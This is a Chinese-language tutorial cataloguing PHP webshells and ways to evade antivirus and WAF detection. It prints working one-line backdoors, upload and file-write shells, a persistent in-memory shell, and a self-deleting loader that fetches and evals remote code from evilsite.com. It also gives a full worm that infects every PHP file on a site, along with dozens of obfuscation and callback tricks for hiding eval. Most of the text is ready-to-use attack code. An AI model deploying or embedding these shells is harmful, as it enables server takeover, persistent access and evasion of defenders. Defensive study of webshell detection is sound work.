本篇为PHP 常见类型 webshell 学习!
首先,最常见的为一句话木马,最基础的形式为:
<?php @eval($_POST['hacker']); ?>
<?php assert($_REQUEST["pass"]);?>
通过 eval/assert 等能够将字符串作为php代码执行的能力,将 POST/REQUEST/$_GET 中传递的字符 串作为PHP代码执行
其中,eval : PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为 PHP 代码执行,assert: PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8 版本后可以接受两个参数 (最好)。
这种形式只在服务器上留下一行代码,因此称为一句话木马。还在网上看到了最短一句话,使用反引号无回显执行命,
<?= $_GET[1] ;
2.小马
小马可以理解为通过较少的代码,来实现具体在渗透测试中需要的某些功能,即能完成写入文件、列目 录、查看文件、执行一些系统命令等少量功能的 Webshell
如写文件小马:
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>
文件上传马:
<?php
header("content-Type: text/html; charset=utf-8");
?>
<?
echo
"</br>获取服务器IP地址: ".$_SERVER['HTTP_HOST'].
"</br>获取服务信息: ".apache_get_version();
?>
<form method="POST"></br>
shell路径: <input type="text" name="file" size="60" value="<? echo
str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
<form>
<?php
error_reporting(0);
if ($_POST){
$f=fopen($_POST["file"],"w");
echo fwrite($f,$_POST["text"])? '保存成功!' : '保存失败!';
}
?>
UDF提权马等等
小马由于代码量不是特别多,免杀方便,可直接实现某些功能,在渗透中也是能够经常用到的,在网上 可以搜集到格式各样的小马
3.大马
PHP大马就是功能较全,支持各种在渗透过程中可能用到的各种功能的大型代码集合,通常具有文件管 理、命令执行、端口扫描、数据库管理、反弹shell等等的功能
常见的如adminer、phpspy 等等,这里就不列举和截图了
4.不死马
内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行
网上流传的如:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72")
{@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
?>
可以看到,代码通过死循环创建webshell文件
5.无文件木马
所谓无文件木马,这里指的是自删除的木马,在运行一次后会将自身文件删除,但将某些代码运行至进 程中
<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://www.evilsite.com/eval.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
eval.txt中的内容可进行自定义如上代码,在访问一次后会自删除,但eval.txt中的代码依旧会在后台执行
6.蠕虫马
一提到蠕虫,就知道这是一个交叉感染的木马,它可以把本地的php会写shell插入到其他php原文件,还 增加了相互复活机制,后期增加与其他已感染的主机中的webshell互相复活。
来自于 3s_NWGeek 的代码:
php
<?php
$tips = 'AWD_Light_Check';
//这个是后面检查的是否感染头,如果没有,就会重写这个php
error_reporting(0);
$Serv_Num = 159;
//这个变量是要写入其他文件头部的本页行数,因为感染了其他php要互相感染,不能把其他原有php
代码写入到其他php,会乱套。
$arr_dir = array();
//全局变量,扫到的文件夹
$files = array();
//全局变量,扫到的文件
if (!function_exists('Url_Check')) {
function Url_Check()
{
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {
$pageURL .= "s";
}
$pageURL .= '://';
$pageURL .= $_SERVER["SERVER_NAME"] . ":" .
$_SERVER["SERVER_PORT"];
return $pageURL;
}
function file_check($dir)
{
//扫描文件夹
global $arr_dir;
global $files;
if (is_dir($dir)) {
if ($handle = opendir($dir)) {
while (($file = readdir($handle)) !== false) {
if ($file != '.' && $file != "..") {
if (is_dir($dir . "/" . $file)) {
$arr_dir[] = $dir;
$files[$file] = file_check($dir . "/" . $file);
//拼接文件
} else {
$arr_dir[] = $dir;
$files[] = $dir . "/" . $file;
}
}
}
}
}
closedir($handle);
$arr_dir = array_unique($arr_dir);
//去重
}
function write_conf()
{
#每个目录创一个马
global $Serv_Num;
global $arr_dir;
foreach ($arr_dir as $dir_path) {
// echo '<br>'.$dir_path;
$srcode = '';
$localtext = file(__FILE__);
for ($i = 0; $i < $Serv_Num; $i++) {
$srcode .= $localtext[$i];
}
//所有文件夹都生成一个webshell
// echo "<span style='color:#666'></span> " . $dir_path .
"/.Conf_check.php" . "<br/>";
$le = Url_Check();
echo '<iframe id="check_url">' . $le . '' .
str_replace($_SERVER['DOCUMENT_ROOT'], '', $dir_path . "/.Conf_check.php")
. '</iframe>';
fputs(fopen($dir_path . "/.Conf_check.php", "w"), $srcode);
}
// 当前目录所有php被感染
}
function vul_tran()
{
//每个文件夹递归生成一个默认的马以及感染当前目录所有php文件。所谓感染就是把自身
固定的代码插入到其他php文件中,甚至可以加注释符号或者退出函数exit();控制其他页面的可用
性。不过要注意一下,是当前目录,这样响应速度会快很多,亲测如果是一次性感染全部目录的php文
件后续会引发py客户端响应超时及其他bug,所以改过来了。
//######
global $Serv_Num;
$pdir = dirname(__FILE__);
//要获取的目录
//先判断指定的路径是不是一个文件夹
if (is_dir($pdir)) {
if ($dh = opendir($pdir)) {
while (($fi = readdir($dh)) != false) {
//文件名的全路径 包含文件名
$file_Path = $pdir . '/' . $fi;
if (strpos($file_Path, '.php')) {
//筛选当前目录.php后缀
$le = Url_Check();
$file_Path = str_replace('\\', '/', $file_Path);
echo '<iframe id="check_url">' . $le . '' .
str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_Path) . '</iframe>';
$ftarget = file($file_Path);
if (!strpos($ftarget[0], 'AWD_Light_Check')) {
//检查头部是否传播
$scode = '';
$localtext = file(__FILE__);
for ($i = 0; $i < $Serv_Num; $i++) {
$scode .= $localtext[$i];
}
$code_check = '';
$file_check = fopen($file_Path, "r");
//复制要传播的文件代码,进行重写
while (!feof($file_check)) {
$code_check .= fgets($file_check) . "\n";
}
fclose($file_check);
$webpage = fopen($file_Path, "w");
fwrite($webpage, $scode . $code_check);
fclose($webpage);
}
}
}
closedir($dh);
}
}
}
}
///
//主函数
try {
//定义特征才启动传播模式,特征值为_
if (isset($_GET['_'])) {
$host = Url_Check();
file_check($_SERVER['DOCUMENT_ROOT']);
//全局扫描
write_conf();
//写入单文件
vul_tran();
//感染当前目录
} elseif (isset($_GET['time']) && isset($_GET['salt']) &&
isset($_GET['sign'])) {
#客户端数字签名校验
$Check_key = '9c82746189f3d1815f1e6bfe259dac29';
$Check_api = $_GET['check'];
$timestamp = $_GET['time'];
$salt = $_GET['salt'];
$csign = $_GET['sign'];
$sign = md5($Check_api . $Check_key . $timestamp . $salt);
if ($sign === $csign) {
$nomal_test = '';
for ($i = 0; $i < strlen($Check_api); $i++) {
$nomal_test .= chr(ord($Check_api[$i]) ^ $i % $salt);
}
$nomal_test = base64_decode($nomal_test);
$nowtime = time();
if (abs($nowtime - $timestamp) <= 5) {
$enc = base64_encode(rawurlencode(`{$nomal_test}`));
//解密并执行命令在加密返回
$pieces = explode("i", $enc);
$final = "";
foreach ($pieces as $val) {
$final .= $val . "cAFAcABAAswTA2GE2c";
}
$final = str_replace("=", ":kcehc_revres", $final);
echo strrev(substr($final, 0, strlen($final) - 18));
exit;
} else {
header('HTTP/1.1 500 Internal Server Error');
}
} else {
header('HTTP/1.1 500 Internal Server Error');
}
} else {
header('HTTP/1.1 500 Internal Server Error');
}
} catch (Exception $e2) {
}
作者原文:带一个参数访问我的webshell,全站的php文件都被我感染,都可以当webshell连,都可以 执行命令,只要带一个参数访问都可以互相复活。
动态性探究
大家都说 PHP 动态性强,因此就不怕杀软的疯狂识别,那么到底强在什么地方?
其实就是因为 PHP 具有一些十分奇特的特性,大体可分为三类,动态特性类,代码漏洞类、PHP解析 类,下面列举了其中常见的几种
1.可变变量
可变变量允许我们动态地改变一个变量的名称。所有的语言都允许改变变量的值,但是并没有太多的语 言允许改变变量的类型,至于支持改变变量的名称的语言就更少了
例子:$a='b'; $$a='c'; 这就等价于:$b='c'; 著名的"双刀大法"
例如:
php
<?php
$b = "assert";
$a = 'b';
$$a($_POST['hacker']);
?>
可变函数
如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它 利用可变函数,我们可以将函数名也作为参数进行传递,避免敏感关键字被静态检测识别出来。
例如:
@GET\['a'\](POST['cmd']);
此例一般都是使用assert,因为eval不能被可变函数调用
3.回调函数
回调函数是指调用函数的时候将另一个函数作为参数传递到调用的函数中,而不是传递一个普通的变量 作为参数 使用回调函数是为了可以将一段自己定义的功能传到函数内部使用 众所周知回调函数也是十分危险的最简单的如:
php
<?php @call_user_func(eval,$_POST['hacker']); ?>
结合可变函数:
php
<?php
function newsSearch($para0,$para1){
$evil=$para0;
call_user_func_array($para1,array($evil));
}
$exec=base64_decode($_GET['id']);
newsSearch($_POST['tid'],$exec);
?>
目前来讲,大部分常见的能作为后门的回调函数和类都被各大杀软列入名单,但是还是能够找到一些较 生僻的回调函数,能够用来绕过杀软。在函数描述中,参数列表中使用伪类型 callback 描述的,即是回调函数。
目前常见的回调函数有:
php
uasort/uksort
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
preg_filter
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
array_filter/array_map
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
array_walk/array_walk_recursive
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
array_udiff
function newsSearch($para0,$para1){
$evil=$para0;
$exec=$para1;
array_udiff($arr=array($evil),$arr1 = array(''),$exec);
}
$exec=base64_decode($_REQUEST['exec']);
newsSearch($_POST['key'],$exec);
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
header_register_callback
header_register_callback(create_function('','return
assert($_POST[\'k\']);'));
register_tick_function
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);
register_shutdown_function
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
mb_ereg_replace
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
mb_ereg_replace_callback
mb_ereg_replace_callback('.+', create_function('$arr', 'return
assert($arr[0]);'),$_REQUEST['pass']);
array_reduce
array_reduce(array($_POST['k']),create_function('$a,$b','return
assert($b);'));
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
set_exception_handler
set_exception_handler(create_function('','return assert($_GET[k]);'));
throw new exception();
forward_static_call
class a
{
public function __construct($args)
{
forward_static_call('assert',$args);
}
}
new a($_POST[k]);
iterator_apply
iterator_apply(new
arrayiterator(array($_GET['k'])),create_function('Iterator $i','assert($i-
>current());'),array(new arrayiterator(array($_GET['k']))));
array_intersect_ukey
array_intersect_ukey(array($_GET['k']=>'1'),array($_GET['k']=>'1'),'assert'
);
array_uintersect_uassoc
array_uintersect_uassoc(array($_GET[k]),array(''),'assert','strstr');
array_intersect_uassoc
array_intersect_uassoc(array($_POST['k']=>''),array(''),'assert');
filter_var
filter_var("phpinfo();" ,1024, array("options" => "assert"));
filter_var_array
filter_var_array(array('test' => $_REQUEST['pass']), array('test' =>
array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
preg_replace_callback
preg_replace_callback('/. /i', create_function('$arr', 'return
assert($arr[0]);'), $_REQUEST['pass']);
无回显回调后门ob_start
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
create_function创建回调函数
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE,
create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
CallbackFilterIterator创建回调函数
$iterator = new CallbackFilterIterator(new
ArrayIterator(array($_REQUEST['pass'],)), create_function('$a',
'assert($a);'));
foreach ($iterator as $item) {echo $item;}
session_set_save_handler
function test($para)
{
session_set_save_handler("open", "close", $para, "write", "destroy",
"gc");
@session_start(); // 打开会话
}
$session = base64_decode($_REQUEST['id']);
// open第一个被调用,类似类的构造函数
function open($save_path, $session_name)
{
}
// close最后一个被调用,类似 类的析构函数
function close()
{
}
// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read
callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
session_id($_REQUEST['op']);
function write($id, $sess_data)
{
}
function destroy($id)
{
}
function gc()
{
}
// 第三个参数为read read(string $sessionId)
test($session);
还有一些扩展中的回调函数如sqlite/pdo/yaml/memcached等
PDO数据库回调:
php
PDO数据库回调
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
SQLite3 数据库回调
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
php_yaml库
$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|. |e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" =>
'preg_replace'));
回调函数这里是无穷无尽的
4.反射技术
php
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));
这种方式调用起来也非常的简单xx.com/shell.php?m=assert&c=phpinfo();和动态函数执行的方式十分 的相似。但是目前这种方式已经被各种安全防护软件识别了。
5.正则 \e 模式
这本是 php 中可能存在的命令执行漏洞的位置,使用 \e 将替换串中的内容当作代码来执行。 常用作一句话木马
@preg_replace('/(.*)/e','\1',$_REQUEST['a']);
6.反序列化执行
与正则 \e 模式想法类似,使用不安全的处理方式构成代码执行漏洞,用作webshell
php
class foo{
public $data="text";
function __destruct()
{
eval($this->data);
}
}
$file_name=$_GET['id'];
unserialize($file_name);
我们需要在本地构造序列化的数据。构造好了之后,通过shell.php?id=id=O:3:"foo":1:
{s:4:"data";s:10:"phpinfo();";},这样就能够执行phpinfo();命令了
7.文件引入
PHP 中使用 include 引入的文件将会以 php 代码进行解析
因此可以通过引入的方法将恶意代码存留在其他位置
远程文件包含,这个不多说,需要开配置
本地文件包含引入 ntfs 流:
include('aaa.png');
在 aaa.png 中写入恶意代码
包含smb共享文件
include('\\evilsite.com\1.php');
这种只有Windows_PHP 服务器才可以利用UNC特性包含局域网SMB服务共享的文件,https://www.fre ebuf.com/articles/web/203577.html
过静态检测
那么接下来就是如何使我们的代码绕过各种杀软的检测呢?
1.字符串处理
(1) 字符串变形
字符串变形就是利用各种字符串处理函数将一些可能被杀软识别的关键字变形,做到通过简单正则无法 识别的地步以下为一些常见的处理函数
ucwords() //函数把字符串中每个单词的首字符转换为大写 ucfirst() //函数把字符串中的首字符转换为大 写 trim() //函数从字符串的两端删除空白字符和其他预定义字符 substr_replace() //函数把字符串的一部 分替换为另一个字符串 substr() //函数返回字符串的一部分 strtr() //函数转换字符串中特定的字符 strtoupper() //函数把字符串转换为大写 strtolower() //函数把字符串转换为小写 strtok() //函数把字符串 分割为更小的字符串 str_rot13() //函数对字符串执行 ROT13 编码
这部分看心情随便写,变法无穷无尽,下面仅列举几个简单例子:替换
php
<?php
$x='$_PO'."STasdasd[".'1]';
$x = $x.str_replace('STasdasd',"ST[");
for ($x=0; $x<=0; $x++) {
assert("$x");
}
将关键函数进行倒转和空格,之后利用strrev和str_replace恢复
php
$b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X
Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O
3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F
W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9
D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m
F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K
S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h
b i g p O 3 0 = ")));
str_rot13
preg_replace("/[errorpage]/e", @str_rot13('@nffreg($_CBFG[cntr]);'), "saft");
(2) 字符串拼接
字符串拼接的方式也常常用来分割危险关键字,由于PHP的灵活性,这种写法就有非常多 如下例,使用. 进行字符串拼接,利用可变函数调用:
$k="ass"."ert"; k({"_PO"."ST"} ['pass']);或者$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0"); a(@{"_P"."O"."S"."T"}[pass]);
利用注释
php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7
除了用注释分隔关键字,还看到了一种玩法,不过已经挂了
php
<?php #eval($_);exit(); $_ = @$_POST['1']; eval(str_replace('<?php #', '', file_get_contents(FILE)));
先声明字符串,之后通过从字符串中进行取值,得到所需要的敏感函数
php
$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] .
$sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9'];
if (isset($s22)) {
eval($s21($s22));
}
变形加拼接
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_
uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49
).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(
116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU
(105).$_uU(111).
$_uU(110);
$_=$_fF("",$_cC);
@$_();
(3) 字符串运算
异或取反运算
php
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为
_POST
@${$__}[!$_](${$__}[$_]);
通过异或运算(^)、取反运算(!)的方式组成一个webshell
$_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').
(chr(0x12)^'`').(chr(0x14)^'`');
$__='_'.(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^']');
$___=$$__;
$_($___[_]);// assert($_POST[_]);
再比如:
$a='999999999999999999999999'^urldecode('%5COXU%11%1DfivjmbXXXd%10%02');
eval(/*echo*/($a));//password=aaa
自增运算:因为在PHP中,'a'++ => 'b','b'++ => 'c',所以我们如果得到了其中的一个字母,通过这个字符就可以得到 所有的字母。通过=\[\];=@"";;得到为Array的字符串,那么就可以得到所有的字符串了。
php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__+
+;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__+
+;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__+
+;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__+
+;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__+
+;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__+
+;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__+
+;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___(base64_decode($_[_])); // ASSERT($_POST[_]);
异或运算
这种异或运算得到的webshell与上面讲的通过异或运算不完全一样。在特定的编码情况下,一些字符串 经过异或运算就能够得到一些特定的函数,这些函数就可以用于构造webshell
$y=~督耽孩^'(1987)'; y(_POST[1987]);
上述的代码需要以GBK的方式保存,其中的$y的值为assert,这样就是一个典型的webshell了
再比如:$b=~urldecode('%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%C4'); a=b; eval(/*echo*/($a));//password=a "~"的主要作用为取反,生成的不可见字符可以使用URL编码保存,这样检测时不会发现危险函数,也就 不会发现我们的一句话木马
(4) 其他处理方式
进制转换,比较常见,通过十六进制和八进制混用的方式代替base64_decode: v230c590="\\x62\\x61\\163\\x65\\x36\\x34\\137\\144\\145\\x63\\x6f\\144\\145"; @eval(v230c590(.....编码,其实在上面的例子中都有的已经利用了一些编码方式,常见的base64, chr, rot13, gzip, zlib等,但 这种常见的编码、多层嵌套编码方式等都已经能被很多WAF识别了
字符串处理类的方式很多,任意的排列组合都可以产生新的东西
关键字处理
很多软件只检查 $_POST,使用全局变量可以绕过
@eval($GLOBALS['_POST']['pass']);
利用$_FILE
@eval($_FILE['name']);
利用文件名,比如下述文件名为 no_assert.php:
${"function"}=substr(FILE,-10,-4);; {"command"}=_POST[cmd]; function(command);
通过目标服务器某些信息的唯一性,在其中进行取值拼接
特殊字符干扰
比较简单的如 \r\n\t null tab 进行干扰等等 $a = $_POST['a']; b = "\\n"; eval(b.=$a); 使用异或的方式也能产生一些特殊字符,绕过静态检测
数组将循环的变量事先进行定义,可以降低查杀率,这是过狗的一个很实用的技巧,就是让狗以为你执行命 令的参数为常量
value=key = "a"; foreach($_POST as key=\>value){ assert($value); } 通过定义数组,再交给 eval 等处理 $array = array( 233 => false, 42 => _GET\['SECQUAN'\], ); eval(array[233].$array[42]); ?> 利用substr 和 explode 在字符串和数组之间处理,本质上也是字符串拼接的方式 error_reporting(0); $sss=''; $s=''; s='123456eval(123456_POST123456["1"]);123456'; ss=array().explode("123456",s)[1].explode("123456",s)\[2\].explode("123456",s)[3]; sss=substr(ss,5,100); eval($sss);
多维数组
$b = substr_replace("assexx","rt",4); a = array(arrayName = array('a' => b(_POST['q'])));
函数
将取值赋值放入自定义函数
function a(){ return a=_POST['1']; } @assert(a());
结合可变函数
function func() { return "ass"."ert"; } $a = func(); a({"_PO"."ST"}['sz']);
为了能够逃避防护软件的查杀,很多webshell都会自己编写加密函数或者是字符串转换函数
$string=''; password='test'; if(isset(POST[$password])){ hex=POST[$password];
for(i=0;i
匿名函数
//function _lambda_func(){@eval($POST['f']);} $s = "F9QivT1NUWyd"; $v = "QGivV2YivWwoJ"; $j = "mJ10pOw=iv="; $re = str_replace("iv", "", "sivtr_ivrepivlaivce"); $ba = $re("nf", "", "bnfanfse6nf4_nfdecnfode"); $fun = $re("vf", "", "cvfreavfte_fvfunctvfion"); $vi = $fun("", ba(re("iv", "", $v . $s . $j))); $vi();
类
使用类进行调用,可以降低静态检测的查杀率
php
class get{
public function setName($name=1){
return $this -> name = $name;
}
}
$obj = new get();
$s = $obj -> setName("$_POST[1]");
eval(null.$s);
经过测试,在类中传值,指定默认值的情况下会降低查杀率,很魔幻,感觉跟之前说的事先定义变量是
一个道理
再进一步使用接口继承
interface lbw{
public function getshell($name);
}
class Demo implements lbw {
public $demo='s';
public function getshell($name)
{
echo eval($name);
}
}
$obj=new Demo();
$obj->getshell($_GET['a']);
再扩展一下,可以先写类,然后子类继承等等,其实你写的越复杂,越接近业务逻辑代码,越容易绕过
检测,然后你的一句话就活活写成了一页面向对象的代码除了单纯的函数、类之间的调用,其实还可以发现,一些敏感的关键字,有时候写在类中就不会报毒
class evals{
protected $links;
function __construct($an){
$this->links = $an;
@eval("\$title=1;".$this->links);
}
}
$WebShell = new evals(@$_POST['An']);
针对回调函数,写在construct/destruct 方法中也会降低报毒几率
$class = new \ReflectionClass('filter');
$instance = $class->newInstance($_GET);
unset($instance);
class filter
{
private $password = 'password';
public function __construct(array $data)
{
$this->data = $data;
}
public function __destruct()
{
if (array_key_exists($this->password, $this->data) && !empty($this-
>data[$this->password])) {
eval($this->data[$this->password]);
}
}
}
文件混淆加密
由于文件加密后无法被各种检测软件的文件解析模块解析,后续的检测手段就都失效了,但可能会直接 报为加密,所以有利有弊